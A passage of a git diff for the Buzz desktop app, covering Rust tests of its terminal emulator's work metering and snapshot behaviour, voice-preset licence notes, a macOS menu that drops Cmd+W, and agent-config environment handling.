shrank rather than + // on a lookalike that only ever grew. + let (mut shrunk_term, _a) = Terminal::new(shallow, Fences::ALL); + shrunk_term.resize(deep); + shrunk_term.resize(shallow); + let shrunk = measure(&mut shrunk_term); + + let (mut fresh_term, _a) = Terminal::new(shallow, Fences::ALL); + let fresh = measure(&mut fresh_term); + + assert_eq!( + shrunk.3, fresh.3, + "no unit may be lost on the way down either" + ); + assert!( + shrunk.4 > fresh.4, + "a feeder that has been deep must still price deep after shrinking: \ + {} against a fresh shallow {}. Equality here is the signature of a \ + feeder that dropped the debt, which is indistinguishable from one \ + that never had it", + shrunk.4, + fresh.4, + ); + assert!( + shrunk.0 <= fresh.0, + "narrower slices retire fewer atoms per drain: {} against {}", + shrunk.0, + fresh.0, + ); + assert!( + shrunk.1 >= fresh.1, + "and leave more pending after the first call: {} against {}", + shrunk.1, + fresh.1, + ); + assert!( + shrunk.2 >= fresh.2, + "and take more drains to finish: {} against {}", + shrunk.2, + fresh.2, + ); + + // The debt survives a later resize on a different axis. Two things make + // this arm bite, and it was inert without either: + // + // * It runs on the terminal that actually went shallow -> deep -> + // shallow. A lookalike that only ever grew passes it while an + // implementation that retains on shrink and drops on the next geometry + // change fails. + // * The resize carries the *shallow* depth. Passing the debt's own value + // back in means `max(debt, new)` and a plain assignment agree, so the + // arm cannot tell them apart -- which is how it survived a mutant that + // retained only when columns and lines were unchanged. + shrunk_term.resize(Size { + columns: shallow.columns * 2, + screen_lines: shallow.screen_lines, + scrollback: shallow.scrollback, + }); + shrunk_term.reset_stats(); + shrunk_term.feed_fully(b"\x1bc"); + assert_eq!( + shrunk_term.stats().completed_work, + 2 * (shallow.columns * 2 * shallow.screen_lines) as u64 + + (deep.scrollback * shallow.columns * 2) as u64, + "a columns resize must keep the deep scrollback debt, not fall back \ + to the current shallow depth", + ); +} + +/// One oversized atom per drain -- no callback runs after the one that +/// crosses the budget. +/// +/// Kills: sizing slices from the *whole* budget rather than what remains of +/// it. RIS at any real scrollback depth is worth more than an entire budget, +/// so a slice wide enough for several callbacks runs several: measured +/// `completed_units == 3` for `ESC c` followed by `Xmore`, where the law +/// permits exactly one. The fix makes slice width a function of `remaining`, +/// which is a single byte once an atom this size is in play. +/// +/// Also asserts the tail survives it: yielding after the crossing atom is +/// only correct if what follows is still parsed, exactly once. +#[test] +fn an_oversized_atom_yields_before_the_next_callback() { + let size = Size { + columns: 400, + screen_lines: 100, + scrollback: 10_000, + }; + let (mut term, _a) = Terminal::new(size, Fences::ALL); + let ris_work = + 2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64; + assert!( + ris_work > WORK_BUDGET, + "this arm needs an atom bigger than the whole budget", + ); + + let more = term.feed(b"\x1bcXmore"); + + assert!(more, "the drain must yield with a tail"); + assert_eq!( + term.stats().completed_units, + 1, + "exactly the crossing atom ran: a callback after it is post-atom \ + overrun, which is the thing the budget cannot preempt and therefore \ + must not start", + ); + assert_eq!(term.stats().completed_work, ris_work); + + while term.drain() {} + assert_eq!( + term.stats().completed_units, + 1 + 5, + "the five characters after it must still be parsed, exactly once", + ); + assert_eq!(term.pending_bytes(), 0); +} + +/// Extreme dimensions saturate rather than wrapping or panicking. +/// +/// Kills: `columns * lines` in `usize` before the cast. `Size` is unclamped +/// and reaches the weight path from a caller, so this product is a reachable +/// overflow -- a debug panic inside the accounting path, or a release wrap +/// that reports the most expensive callback in the emulator as one of the +/// cheapest. Saturating is the only one of the three that fails safe. +#[test] +fn extreme_dimensions_saturate_instead_of_wrapping() { + let huge = usize::MAX / 2; + assert_eq!(max_atom_work(huge, huge, huge), u64::MAX); + assert_eq!(max_drain_work(huge, huge, huge), u64::MAX); + + // The *direction* is the assertion, not merely the absence of a panic. + // A wrapping build does not produce a slightly-wrong bound, it produces a + // tiny one -- and `slice_bytes_remaining` divides the budget by it, so an + // undercharged atom yields an *oversized* slice exactly when the atom is + // most expensive. Wrapping inverts the fence. So: the widest possible + // atom must give the narrowest possible slice. + assert_eq!( + slice_bytes_remaining(huge, huge, huge, 0, 0), + 1, + "an overflowing grid must clamp to the smallest slice; a wrapped \ + `max_atom_work` would hand back a generous one", + ); + assert_eq!( + slice_bytes_remaining(huge, huge, huge, 0, 0), + 1, + "and the escape at the front of such a grid gets a single byte", + ); + + // The property behind those endpoints, and the stronger statement: a + // grid that costs more may never buy a wider slice. Endpoints pin the + // ends; only a sweep catches a non-monotone middle, and a wrap *is* a + // non-monotone middle -- it makes the worst grid look cheap and hands it + // the widest slice of all. + // Every axis independently: a wrap on any one of the three products is a + // non-monotone middle on that axis alone, and sweeping only scrollback + // would miss a truncating `columns * lines`. + for (axis, at) in [ + ( + "scrollback", + (|n| slice_bytes_remaining(200, 50, n, 0, 0)) as fn(usize) -> usize, + ), + ("columns", |n| slice_bytes_remaining(n.max(1), 50, 0, 0, 0)), + ("lines", |n| slice_bytes_remaining(200, n.max(1), 0, 0, 0)), + ] { + let mut previous = usize::MAX; + for exponent in 0..60 { + let width = at(1usize << exponent); + assert!( + width <= previous, + "slice widened from {previous} to {width} at {axis} \ + 2^{exponent}: more expensive grid, more generous slice", + ); + assert!(width >= 1); + previous = width; + } + } + + // Just past 32 bits on one axis: large enough that a narrowing cast + // shows (`1 << 32` truncates to 0 in `u32`, pricing an enormous grid at + // nothing), small enough that the honest answer is exact rather than + // saturated. Neither the extreme endpoints above nor the ordinary grids + // below can see this -- the endpoints saturate either way and the + // ordinary ones fit in 32 bits. + assert_eq!(max_atom_work(1 << 32, 1, 0), 2 * (1u64 << 32)); + assert_eq!(max_atom_work(1, 1 << 32, 0), 2 * (1u64 << 32)); + assert_eq!(max_atom_work(1, 1, 1 << 32), 2 + (1u64 << 32)); + + // Ordinary grids are untouched by the saturation: exact, not clamped. + assert_eq!(max_atom_work(80, 24, 0), 2 * 80 * 24); + assert_eq!(max_atom_work(80, 24, 100), 2 * 80 * 24 + 100 * 80); +} + +/// An escape split across slices keeps its escape metering. +/// +/// Kills: deciding "plain run or escape?" by looking only at the bytes ahead. +/// After a slice ending on a lone `ESC`, the next byte is `c` -- which looks +/// like ordinary text and is in fact a full grid reset. Meter it as text and +/// the oversized atom rides into a wide slice with whatever follows, which is +/// the post-atom overrun arriving through a different door. Found by the +/// oversized-atom fixture failing after I "optimised" the plain path, which +/// is the argument for keeping both. +#[test] +fn an_escape_split_across_slices_keeps_its_metering() { + let size = Size { + columns: 400, + screen_lines: 100, + scrollback: 10_000, + }; + let ris_work = + 2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64; + + // Deliver the escape one byte at a time, so the parser is left mid- + // sequence with a tail that begins on the continuation byte. + let (mut term, _a) = Terminal::new(size, Fences::ALL); + term.feed(b"\x1b"); + assert_eq!( + term.stats().completed_units, + 0, + "ESC alone dispatches nothing" + ); + + let more = term.feed(b"cXmore"); + + assert!(more, "the completed RIS must still yield with a tail"); + assert_eq!( + term.stats().completed_units, + 1, + "the continuation byte completed a grid reset; nothing may run after it", + ); + assert_eq!(term.stats().completed_work, ris_work); + + while term.drain() {} + assert_eq!(term.stats().completed_units, 1 + 5); + assert_eq!(term.pending_bytes(), 0); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs b/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs new file mode 100644 index 0000000000..a7305b52f9 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs @@ -0,0 +1,287 @@ +//! The attach contract: what a subscriber that arrives mid-stream is given, +//! and what taking it must not cost the subscriber already there. +//! +//! `render()` reports damage -- what changed since someone last looked. That +//! is the right thing for a steady-state renderer and the wrong thing for a +//! newcomer, who needs the screen as it stands. `snapshot()` supplies that, +//! and the delicate part is that it must do so *without* consuming damage: +//! two subscribers share one terminal, and damage is a single shared cursor. + +use buzz_terminal::damage::Encoder; +use buzz_terminal::fences::Fences; +use buzz_terminal::{Action, SharedTerminal, Size, Terminal}; +use std::sync::mpsc::Receiver; + +/// The receiver is returned rather than dropped: dropping it disconnects the +/// channel and every subsequent listener send silently fails. +fn terminal(columns: usize, screen_lines: usize) -> (SharedTerminal, Receiver) { + let size = Size { + columns, + screen_lines, + scrollback: 100, + }; + let (term, actions) = Terminal::new(size, Fences::ALL); + (SharedTerminal::new(term), actions) +} + +/// Collect the non-blank text of a frame's rows, for comparing what a +/// subscriber can actually see. +fn visible_text(frame: &buzz_terminal::damage::Frame) -> Vec { + frame + .rows + .iter() + .map(|row| { + row.spans + .iter() + .map(|span| span.text.as_str()) + .collect::() + .trim_end() + .to_string() + }) + .filter(|line| !line.is_empty()) + .collect() +} + +/// The reason `snapshot` exists. A subscriber that attaches mid-stream and +/// starts from `render()` is handed only what changes next -- with a quiet +/// terminal that is the cursor's line alone, so the scrollback-visible screen +/// never arrives. +#[test] +fn a_late_render_shows_only_the_next_change_but_a_snapshot_shows_the_screen() { + let (shared, _actions) = terminal(20, 4); + shared.feed_fully(b"first\r\nsecond\r\nthird"); + + // The incumbent consumes the damage from that output. + let mut incumbent = Encoder::new(); + let seen = visible_text(&shared.render(&mut incumbent)); + assert_eq!(seen, vec!["first", "second", "third"]); + + // A newcomer rendering now sees essentially nothing: damage is spent. + let mut latecomer = Encoder::new(); + let by_render = visible_text(&shared.render(&mut latecomer)); + assert!( + !by_render.contains(&"first".to_string()), + "a late render cannot show scrollback it never saw damaged, got {by_render:?}" + ); + + // The same newcomer snapshotting sees the whole viewport. + let mut attaching = Encoder::new(); + let by_snapshot = shared.snapshot(&mut attaching); + assert_eq!( + visible_text(&by_snapshot), + vec!["first", "second", "third"], + "a snapshot must carry the visible viewport" + ); + assert!(by_snapshot.full, "a snapshot is a repaint"); +} + +/// **The law: `snapshot()` must not consume damage.** +/// +/// Two subscribers share one terminal and damage is one shared cursor, so a +/// snapshot taken for an attaching subscriber must leave the incumbent's +/// pending rows intact. A naive implementation that calls `damage()` passes a +/// full-frame test while freezing every other subscriber -- the newcomer looks +/// perfect and the incumbent silently stops updating. +/// +/// The interleaving is the point: write, snapshot, *then* let the incumbent +/// render. But the interleaving alone is not enough to discriminate, and the +/// reason is this module's own rule 2 -- `Term::damage()` marks the cursor +/// line on every call. So an incumbent owed only the line it is sitting on +/// gets that line back even when its damage was stolen, and a naive snapshot +/// passes. +/// +/// The owed row therefore has to be somewhere the cursor is *not*. Here row 0 +/// is rewritten and the cursor is parked on row 3, so a theft leaves the +/// incumbent holding a blank cursor line and nothing else. +#[test] +fn a_snapshot_does_not_steal_the_incumbents_damage() { + let (shared, _actions) = terminal(20, 4); + + // An established renderer, caught up to a quiet terminal. The initial + // content is shorter than its replacement so the rewrite below covers it + // completely and no tail of it survives. + let mut incumbent = Encoder::new(); + shared.feed_fully(b"old"); + let _ = shared.render(&mut incumbent); + + // Rewrite row 0, then park the cursor on row 3. The incumbent is now owed + // row 0, which is not the row the cursor will re-damage for free. + shared.feed_fully(b"\x1b[1;1HAFTER\x1b[4;1H"); + + // A second subscriber attaches and snapshots first. + let mut attaching = Encoder::new(); + let attached = shared.snapshot(&mut attaching); + assert_eq!( + visible_text(&attached), + vec!["AFTER"], + "the newcomer sees the whole screen" + ); + + // The incumbent must still be delivered row 0. + let follow_up = shared.render(&mut incumbent); + assert!( + follow_up.rows.iter().any(|row| row.line == 0), + "snapshot consumed the incumbent's damage: row 0 was never delivered, \ + got rows {:?}", + follow_up.rows.iter().map(|r| r.line).collect::>() + ); + assert!( + visible_text(&follow_up).contains(&"AFTER".to_string()), + "the incumbent must still see the row written before the snapshot, got {:?}", + visible_text(&follow_up) + ); +} + +/// A snapshot stamps the geometry it was captured under and resets the +/// consumer's dedup state, so an encoder reused across a resize cannot carry +/// hashes describing rows of a different width. +#[test] +fn a_snapshot_realigns_a_reused_encoders_dedup_state() { + let (shared, _actions) = terminal(20, 4); + shared.feed_fully(b"wide enough line"); + + let mut encoder = Encoder::new(); + let before = shared.snapshot(&mut encoder); + assert_eq!(before.viewport.columns, 20); + let first_generation = before.viewport.generation; + + let resized = shared.resize(Size { + columns: 10, + screen_lines: 4, + scrollback: 100, + }); + assert_eq!(resized.columns, 10); + assert!( + resized.generation > first_generation, + "an applied resize advances the generation" + ); + + // Same encoder, new geometry: every row must be re-sent, not suppressed + // as unchanged against hashes taken at the old width. + let after = shared.snapshot(&mut encoder); + assert_eq!( + after.viewport.columns, 10, + "the capture-time grid is stamped" + ); + // Columns alone does not identify a grid. `Viewport`'s own doc says the + // three fields travel together *because* a consumer comparing two of the + // three can be wrong -- and this fixture used to compare one. A resize + // that changed only `screen_lines`, or 20 -> 10 -> 20, leaves columns + // matching while the generation has moved. `resize.rs` asserts this on + // `render()` frames five times and never once on a snapshot, which is + // what Sami's T3 mutant walked through; Mari's reattach reads this stamp. + assert_eq!( + after.viewport, resized, + "a snapshot stamps the identity of the grid it actually captured" + ); + assert!(after.full, "a snapshot is a repaint"); + assert!( + !after.rows.is_empty(), + "stale hashes must not suppress rows after a resize" + ); +} + +/// A snapshot carries *every* row of the viewport, including the last one, +/// and stamps the cursor plane truthfully. +/// +/// Both properties are asserted here rather than in the fixtures above +/// because of what those fixtures' helper hides: `visible_text` trims and +/// drops empty lines, so a capture that skipped the bottom row of the screen +/// reads identically to one that didn't whenever the content sits in the top +/// rows -- which it does in every other fixture in this file. Sami's T2 +/// mutant (`0..screen_lines - 1`) survived all four for exactly that reason. +/// So this fixture puts content on the last row and asserts the row *set*, +/// not the text. +/// +/// The cursor half is the same shape of gap: nothing checked that a snapshot's +/// cursor was the terminal's cursor rather than a plausible default. +#[test] +fn a_snapshot_carries_every_row_and_the_true_cursor() { + let (shared, _actions) = terminal(20, 4); + // Write the bottom row of the screen, then park the cursor at line 4, + // column 6 (1-based) -- row 3, column 5 to us. + shared.feed_fully(b"\x1b[4;1Hbottom\x1b[4;6H"); + + let mut attaching = Encoder::new(); + let frame = shared.snapshot(&mut attaching); + + let lines: Vec = frame.rows.iter().map(|row| row.line).collect(); + assert_eq!( + lines, + vec![0, 1, 2, 3], + "a snapshot must carry the whole viewport, last row included" + ); + assert!( + visible_text(&frame).contains(&"bottom".to_string()), + "content on the last row must reach an attaching subscriber, got {:?}", + visible_text(&frame) + ); + + assert_eq!(frame.cursor.line, 3, "the snapshot's cursor line is real"); + assert_eq!( + frame.cursor.column, 5, + "the snapshot's cursor column is real" + ); + assert!(frame.cursor.visible, "the cursor is shown by default"); + + // ...and a hidden cursor is reported hidden, so `visible` tracks the mode + // rather than being a constant that happens to match the default. + shared.feed_fully(b"\x1b[?25l"); + let mut second = Encoder::new(); + assert!( + !shared.snapshot(&mut second).cursor.visible, + "DECTCEM off must reach the attaching subscriber" + ); +} + +/// Taking a snapshot is billed to the renderer plane. +/// +/// The two planes are metered separately because pooling them lets the +/// reader's millions of fast acquires dilute the renderer's tail into a false +/// pass (`shared.rs` module docs). A full-grid copy is the single most +/// expensive thing that takes this lock, so misfiling it under the reader +/// would corrupt the very instrument the renderer's budget is judged by -- +/// and no fixture noticed until Sami's T4. +#[test] +fn a_snapshot_is_billed_to_the_renderer_plane() { + let (shared, _actions) = terminal(20, 4); + shared.feed_fully(b"content"); + + shared.reader_acquire().reset(); + shared.renderer_acquire().reset(); + + let mut attaching = Encoder::new(); + let _ = shared.snapshot(&mut attaching); + + assert_eq!( + shared.renderer_acquire().snapshot().acquisitions, + 1, + "the snapshot's lock acquisition belongs to the renderer plane" + ); + assert_eq!( + shared.reader_acquire().snapshot().acquisitions, + 0, + "a full-grid copy must not be charged to the reader plane" + ); +} + +/// Two consecutive snapshots with no output between them still both carry the +/// screen. A snapshot is not a one-shot: reattach may happen repeatedly, and +/// nothing about the first may disarm the second. +#[test] +fn snapshots_are_repeatable() { + let (shared, _actions) = terminal(20, 4); + shared.feed_fully(b"persistent"); + + let mut first = Encoder::new(); + let mut second = Encoder::new(); + assert_eq!( + visible_text(&shared.snapshot(&mut first)), + vec!["persistent"] + ); + assert_eq!( + visible_text(&shared.snapshot(&mut second)), + vec!["persistent"], + "a second subscriber attaching later must see the same screen" + ); +} diff --git a/desktop/src-tauri/resources/pocket-voices/NOTICE.md b/desktop/src-tauri/resources/pocket-voices/NOTICE.md new file mode 100644 index 0000000000..9cc515dea3 --- /dev/null +++ b/desktop/src-tauri/resources/pocket-voices/NOTICE.md @@ -0,0 +1,35 @@ +# Pocket TTS English VCTK presets + +Buzz exposes Kyutai's twelve official English VCTK Pocket presets. The WAV +bytes are unchanged from `kyutai/tts-voices` revision +`323332d33f997de8394f24a193e1a76df720e01a`; only local filenames differ. + +| Voice | Upstream asset | SHA-256 | +| --- | --- | --- | +| Anna | `vctk/p228_023_enhanced.wav` | `0a6de25cf12bf1540beb85979f306a92be81fecc051c547c5395e7e5237a3856` | +| Vera | `vctk/p229_023_enhanced.wav` | `309cf91a895830f15842b398f69a4962cb1f7e0bfab10e25dd27838e826c204b` | +| Fantine | `vctk/p244_023_enhanced.wav` | `5f07d4e2a3f20a15572aae885156b43ef3fc12ef3812996fd135680d9956448b` | +| Charles | `vctk/p254_023_enhanced.wav` | `6b681a429198f16e378d53bccb08d06939da7b00144a7696111d4f8f76be7756` | +| Paul | `vctk/p259_023_enhanced.wav` | `7aba504fe0b3b16478b69eb27ce6007e3cb42b0c1915b5f1c6a6024ae37d679b` | +| Eponine | `vctk/p262_023_enhanced.wav` | `a13c27fb47627b05223691a0ef2974358a18c886e6c2f9d2762ff1d02c20926b` | +| Azelma | `vctk/p303_023_enhanced.wav` | `60e3d26cdf2efdec5df712152c839928f4d5522821e6554ae11fd96c57ab1026` | +| George | `vctk/p315_023_enhanced.wav` | `29a41f93bf5236e5b21501091d7774c255d5f3d4e62fa4f9fdf0a92a793c84ae` | +| Mary | `vctk/p333_023_enhanced.wav` | `a35b0468382218e9f37a9a7494d1e4b74deaf18d7ced22265b4e325bb55c183f` | +| Jane | `vctk/p339_023_enhanced.wav` | `2f12e7f155eb3118f55425394f1b049e5b1b67bdc9b3932c8ba4521420aeb84a` | +| Michael | `vctk/p360_023_enhanced.wav` | `b6743e9195e5e3fd34fe9d1633ae93f7ffab787b249e45f6467d7d6f7a6ee6ad` | +| Eve | `vctk/p361_023_enhanced.wav` | `396e7cbd066b0f3fb6d67fa26e7904076958239d736d4390f15b5fe88feb14cd` | + +Mary is already installed as the Pocket model's `reference_sample.wav`, so it +is not duplicated in this resource directory. + +Source repository: +https://huggingface.co/kyutai/tts-voices/tree/323332d33f997de8394f24a193e1a76df720e01a/vctk + +The original recordings are from the Voice Cloning Toolkit (VCTK) corpus, +licensed CC BY 4.0: +https://datashare.ed.ac.uk/handle/10283/3443 + +The recordings were enhanced by ai-coustics: +https://ai-coustics.com/ + +Neither Kyutai, the VCTK speakers, nor ai-coustics endorses Buzz. diff --git a/desktop/src-tauri/resources/pocket-voices/anna.wav b/desktop/src-tauri/resources/pocket-voices/anna.wav new file mode 100644 index 0000000000..79d60697ff Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/anna.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/azelma.wav b/desktop/src-tauri/resources/pocket-voices/azelma.wav new file mode 100644 index 0000000000..e9d0c00b3f Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/azelma.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/charles.wav b/desktop/src-tauri/resources/pocket-voices/charles.wav new file mode 100644 index 0000000000..2170975545 Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/charles.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/eponine.wav b/desktop/src-tauri/resources/pocket-voices/eponine.wav new file mode 100644 index 0000000000..bded6f4f09 Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/eponine.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/eve.wav b/desktop/src-tauri/resources/pocket-voices/eve.wav new file mode 100644 index 0000000000..216665ff13 Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/eve.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/fantine.wav b/desktop/src-tauri/resources/pocket-voices/fantine.wav new file mode 100644 index 0000000000..28c2b1140d Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/fantine.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/george.wav b/desktop/src-tauri/resources/pocket-voices/george.wav new file mode 100644 index 0000000000..739d5bc7a5 Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/george.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/jane.wav b/desktop/src-tauri/resources/pocket-voices/jane.wav new file mode 100644 index 0000000000..3c9890473b Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/jane.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/michael.wav b/desktop/src-tauri/resources/pocket-voices/michael.wav new file mode 100644 index 0000000000..861da085c7 Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/michael.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/paul.wav b/desktop/src-tauri/resources/pocket-voices/paul.wav new file mode 100644 index 0000000000..bfde50fdd9 Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/paul.wav differ diff --git a/desktop/src-tauri/resources/pocket-voices/vera.wav b/desktop/src-tauri/resources/pocket-voices/vera.wav new file mode 100644 index 0000000000..e4fce84ce3 Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/vera.wav differ diff --git a/desktop/src-tauri/src/app_menu.rs b/desktop/src-tauri/src/app_menu.rs new file mode 100644 index 0000000000..e6d7944a10 --- /dev/null +++ b/desktop/src-tauri/src/app_menu.rs @@ -0,0 +1,115 @@ +//! The macOS application menu. +//! +//! Buzz never called `Builder::menu()`, so Tauri installed `Menu::default()` +//! for us (`tauri::app::Builder::build`, macOS arm). That default puts a +//! `close_window` item in both the File and Window submenus, and muda gives +//! that item a Cmd+W key equivalent bound to `performClose:`. +//! +//! Two consequences, both wrong for Buzz: +//! +//! 1. `CloseRequested` on the main window is intercepted in `lib.rs` and turned +//! into hide-to-tray, so Cmd+W never closed a window -- it hid the whole +//! app. That is already redundant with Cmd+H (Hide), which stays. +//! 2. macOS resolves a menu key equivalent before the webview receives any key +//! event, so Buzz Term could never bind Cmd+W to "close this terminal tab" +//! while the accelerator was claimed here. +//! +//! So this module builds the standard menu minus both `close_window` items. +//! Everything else matches `Menu::default()` deliberately: the goal is to drop +//! one item, not to design a menu. +//! +//! If hide-on-Cmd+W is ever wanted back in Buzz mode, the revisit path is to +//! restore the item and disable it while the terminal owns input (a disabled +//! item does not consume its key equivalent) -- at the cost of an owner->Rust +//! IPC hop this approach does not need. + +#[cfg(target_os = "macos")] +use tauri::menu::{ + AboutMetadata, Menu, PredefinedMenuItem, Submenu, HELP_SUBMENU_ID, WINDOW_SUBMENU_ID, +}; +#[cfg(target_os = "macos")] +use tauri::AppHandle; +use tauri::{Builder, Runtime}; + +/// Installs Buzz's menu, replacing the `Menu::default()` Tauri would otherwise +/// auto-install. A no-op off macOS, where that default is never created and +/// the Cmd+W accelerator does not exist. +pub fn install(builder: Builder) -> Builder { + #[cfg(target_os = "macos")] + let builder = builder.menu(build); + builder +} + +/// Mirrors `Menu::default()` with every `close_window` item omitted. +/// +/// The Window and Help submenus keep Tauri's well-known ids: `init_app_menu` +/// looks them up by id to call `set_as_windows_menu_for_nsapp` and +/// `set_as_help_menu_for_nsapp`, and a plain `with_items` submenu would skip +/// both silently -- no error, just a Window menu AppKit no longer manages. +#[cfg(target_os = "macos")] +pub fn build(app: &AppHandle) -> tauri::Result> { + let pkg_info = app.package_info(); + let config = app.config(); + let about_metadata = AboutMetadata { + name: Some(pkg_info.name.clone()), + version: Some(pkg_info.version.to_string()), + copyright: config.bundle.copyright.clone(), + authors: config.bundle.publisher.clone().map(|p| vec![p]), + ..Default::default() + }; + + Menu::with_items( + app, + &[ + &Submenu::with_items( + app, + pkg_info.name.clone(), + true, + &[ + &PredefinedMenuItem::about(app, None, Some(about_metadata))?, + &PredefinedMenuItem::separator(app)?, + &PredefinedMenuItem::services(app, None)?, + &PredefinedMenuItem::separator(app)?, + &PredefinedMenuItem::hide(app, None)?, + &PredefinedMenuItem::hide_others(app, None)?, + &PredefinedMenuItem::separator(app)?, + &PredefinedMenuItem::quit(app, None)?, + ], + )?, + // `Menu::default()`'s File submenu holds exactly one item on macOS + // -- close_window -- so dropping that item drops the submenu too. + &Submenu::with_items( + app, + "Edit", + true, + &[ + &PredefinedMenuItem::undo(app, None)?, + &PredefinedMenuItem::redo(app, None)?, + &PredefinedMenuItem::separator(app)?, + &PredefinedMenuItem::cut(app, None)?, + &PredefinedMenuItem::copy(app, None)?, + &PredefinedMenuItem::paste(app, None)?, + &PredefinedMenuItem::select_all(app, None)?, + ], + )?, + &Submenu::with_items( + app, + "View", + true, + &[&PredefinedMenuItem::fullscreen(app, None)?], + )?, + &Submenu::with_id_and_items( + app, + WINDOW_SUBMENU_ID, + "Window", + true, + &[ + &PredefinedMenuItem::minimize(app, None)?, + &PredefinedMenuItem::maximize(app, None)?, + ], + )?, + // Empty upstream too on macOS: About lives in the app submenu. + &Submenu::with_id_and_items(app, HELP_SUBMENU_ID, "Help", true, &[])?, + ], + ) +} diff --git a/desktop/src-tauri/src/app_state.rs b/desktop/src-tauri/src/app_state.rs index abce86202a..fc90e6ab14 100644 --- a/desktop/src-tauri/src/app_state.rs +++ b/desktop/src-tauri/src/app_state.rs @@ -53,15 +53,13 @@ pub struct AppState { pub channel_templates_store_lock: Mutex<()>, pub managed_agent_processes: Mutex>, pub huddle_state: Mutex, + pub huddle_audio: crate::huddle::tts_settings::HuddleAudioSettingsState, /// Tauri app handle — stored after setup so huddle commands can emit /// `huddle-state-changed` events without needing the handle threaded /// through every call site. /// /// Set once during `setup()` in `lib.rs`; never cleared. pub app_handle: Mutex>, - /// Selected audio output device name. `None` = system default. - /// Used by `connect_audio_relay` and TTS pipeline when opening sinks. - pub audio_output_device: Mutex>, /// Port of the localhost media streaming proxy (set during setup). pub media_proxy_port: AtomicU16, /// Set when identity resolution detected a "keyring-locked" state: the @@ -219,8 +217,8 @@ pub fn build_app_state() -> AppState { managed_agent_processes: Mutex::new(HashMap::new()), session_config_cache: Mutex::new(HashMap::new()), huddle_state: Mutex::new(HuddleState::default()), + huddle_audio: Default::default(), app_handle: Mutex::new(None), - audio_output_device: Mutex::new(None), media_proxy_port: AtomicU16::new(0), prevent_sleep: Arc::new(Mutex::new( crate::prevent_sleep::PreventSleepState::default(), diff --git a/desktop/src-tauri/src/commands/agent_access.rs b/desktop/src-tauri/src/commands/agent_access.rs new file mode 100644 index 0000000000..ef118e82b2 --- /dev/null +++ b/desktop/src-tauri/src/commands/agent_access.rs @@ -0,0 +1,18 @@ +/// Return whether this build enforces owner-only managed-agent access. +#[tauri::command] +pub fn agent_access_owner_only() -> bool { + crate::managed_agents::owner_only_access_build() +} + +#[cfg(test)] +mod tests { + #[test] + #[ignore = "requires BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY"] + fn compiled_policy_matches_expected() { + let expected = std::env::var("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY") + .expect("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be set") + .parse::() + .expect("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be true or false"); + assert_eq!(super::agent_access_owner_only(), expected); + } +} diff --git a/desktop/src-tauri/src/commands/agent_config.rs b/desktop/src-tauri/src/commands/agent_config.rs index 5a26f0f645..2dc0ba0d69 100644 --- a/desktop/src-tauri/src/commands/agent_config.rs +++ b/desktop/src-tauri/src/commands/agent_config.rs @@ -8,14 +8,14 @@ use crate::{ read_goose_file_config, reader::read_config_surface, types::{ - AcpConfigOptionEntry, AcpConfigOptionValue, AcpModelEntry, ConfigOrigin, - NormalizedField, RuntimeConfigSurface, SessionConfigCache, + AcpConfigOptionEntry, AcpConfigOptionValue, AcpModelEntry, InheritedConfigTiers, + RuntimeConfigSurface, SessionConfigCache, }, }, - current_instance_id, known_acp_runtime, load_managed_agents, load_personas, - resolve_effective_prompt_model_provider, save_managed_agents, sync_managed_agent_processes, - AgentDefinition, GlobalAgentConfig, KnownAcpRuntime, ManagedAgentRecord, - ManagedAgentRuntimeKey, + current_instance_id, is_reserved_env_key, is_safe_to_reveal, is_well_formed_env_key, + known_acp_runtime, load_managed_agents, load_personas, save_managed_agents, + sync_managed_agent_processes, AgentDefinition, GlobalAgentConfig, KnownAcpRuntime, + ManagedAgentRecord, ManagedAgentRuntimeKey, MAX_ENV_VALUE_BYTES, }, }; @@ -31,33 +31,90 @@ pub struct RuntimeFileConfigSubset { pub provider: Option, /// Model set in the harness config file, if any. pub model: Option, - /// Flat credential env keys found in the harness config file's `extra` map - /// (e.g. `DATABRICKS_HOST`). Only non-empty values are included. + /// Flat credential env keys in the harness config file's `extra` map (e.g. `DATABRICKS_HOST`); only non-empty values included. pub satisfied_env_keys: Vec, } -/// Resolve the config surface with persona and global default values applied. -/// -/// Linked instances are definition-authoritative: the record's own -/// system_prompt/model/provider are cleared before applying, so a stale -/// materialized snapshot can never shadow the persona's current values or a -/// blank-definition fallthrough to global defaults (mirrors -/// `effective_config::resolve_linked`). Definition-less instances keep their -/// own explicit values. -/// -/// The pipeline: resolve the linked persona's prompt/model/provider, inject -/// each into the record only where the record lacks its own value, let -/// `read_config_surface` tag those injected fields `BuzzExplicit`, then re-tag -/// exactly the injected fields to `PersonaDefault`. +/// Sanitize a raw env map from an inherited tier (persona or global) with the +/// same rules `merged_user_env` applies at spawn time: reserved keys, malformed +/// keys, NUL-byte values, and oversize values are stripped silently. +fn sanitize_inherited_env( + raw: &std::collections::BTreeMap, +) -> std::collections::BTreeMap { + raw.iter() + .filter(|(k, 